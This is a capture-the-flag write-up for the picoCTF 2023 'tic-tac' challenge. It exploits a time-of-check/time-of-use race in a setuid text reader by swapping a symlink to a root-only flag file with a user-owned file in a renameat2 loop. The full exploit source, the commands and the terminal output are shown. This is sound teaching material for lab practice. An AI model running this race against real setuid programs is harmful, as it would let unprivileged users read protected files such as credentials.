Points: 200
Tags: picoCTF 2023, Binary Exploitation, linux, bash, toctou
Author: JUNIAS BONOU
Description:
Someone created a program to read text files; we think the program reads files with
root privileges but apparently it only accepts to read files that are owned by the
user running it.
ssh to saturn.picoctf.net:61030, and run the binary named "txtreader" once connected.
Login as ctf-player with the password, 8a707622
Hints:
(None)
Challenge link: https://play.picoctf.org/practice/challenge/380
The challenge title and tags tells us that we should expect a time-of-check to time-of-use (TOC/TOU) race condition.
We start by connecting to the server with SSH
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2023/Binary_Exploitation/tic-tac]
└─$ ssh -p 61030 ctf-player@saturn.picoctf.net
The authenticity of host '[saturn.picoctf.net]:61030 ([13.59.203.175]:61030)' can't be established.
ED25519 key fingerprint is SHA256:e8pSZxXYptxqGFMvizVN3x1vGmmhC4iDlWjx8/Js5jY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:61030' (ED25519) to the list of known hosts.
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.19.0-1024-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
ctf-player@pico-chall$
Next, we investigate the available files
ctf-player@pico-chall$ ls -la
total 32
drwxr-xr-x 1 ctf-player ctf-player 20 Oct 1 14:15 .
drwxr-xr-x 1 root root 24 Aug 4 21:50 ..
drwx------ 2 ctf-player ctf-player 34 Oct 1 14:15 .cache
-rw-r--r-- 1 root root 67 Aug 4 21:52 .profile
-rw------- 1 root root 32 Aug 4 21:52 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 2023 src.cpp
-rwsr-xr-x 1 root root 19016 Aug 4 21:52 txtreader
ctf-player@pico-chall$ file txtreader
txtreader: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f31c8b2980e334387115245d52f922371573666, for GNU/Linux 3.2.0, not strippedWe have the txtreader program with the Setuid bit set.
And a flag.txt file only readable by root as well as the source code named src.cpp.
Now we analyse the C++ source
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}The race condition is between the time-of-check, the if (stat(filename.c_str(), &statbuf) == -1) { line,
and the time-of-use, the if (file.is_open()) { line.
This LiveOverflow video does a good job of describing both the problem and the solution.
Since the home directory isn't writable to us we need to create a work area
ctf-player@pico-chall$ TMP_DIR=$(mktemp -d)
ctf-player@pico-chall$ echo $TMP_DIR
/tmp/tmp.ejxpXrVQv6
ctf-player@pico-chall$ chmod 777 $TMP_DIR
ctf-player@pico-chall$ cd $TMP_DIRThen we create the rename.c exploit described in the video above.
ctf-player@pico-chall$ cat << EOF > rename.c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/syscall.h>
> #include <linux/fs.h>
>
> int main(int argc, char *argv[]) {
> while (1) {
> syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
> }
> return 0;
> }
> EOF
ctf-player@pico-chall$ Neither vi nor vim seemed to be installed so I used a here document instead.
Now we compile
ctf-player@pico-chall$ gcc -o rename rename.c
ctf-player@pico-chall$ file rename
rename: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=96a47ccc6a617534efdf3fb5e09207cfcb9dd0e9, for GNU/Linux 3.2.0, not strippedThe exploit takes two files. One file should be readable by you and the other should be a symbolic link pointing to the file we want to read.
ctf-player@pico-chall$ ln -s ~/flag.txt
ctf-player@pico-chall$ ls -l flag.txt
lrwxrwxrwx 1 ctf-player ctf-player 25 Oct 1 14:24 flag.txt -> /home/ctf-player/flag.txt
ctf-player@pico-chall$ touch myfile.txtNext we run the exploit in the background
ctf-player@pico-chall$ ./rename flag.txt myfile.txt &
[1] 53Finally, we run the txtreader program and ask for myfile.txt
ctf-player@pico-chall$ ./txtreader $TMP_DIR/myfile.txt
picoCTF{<REDACTED>}And we get the flag.
For additional information, please see the references below.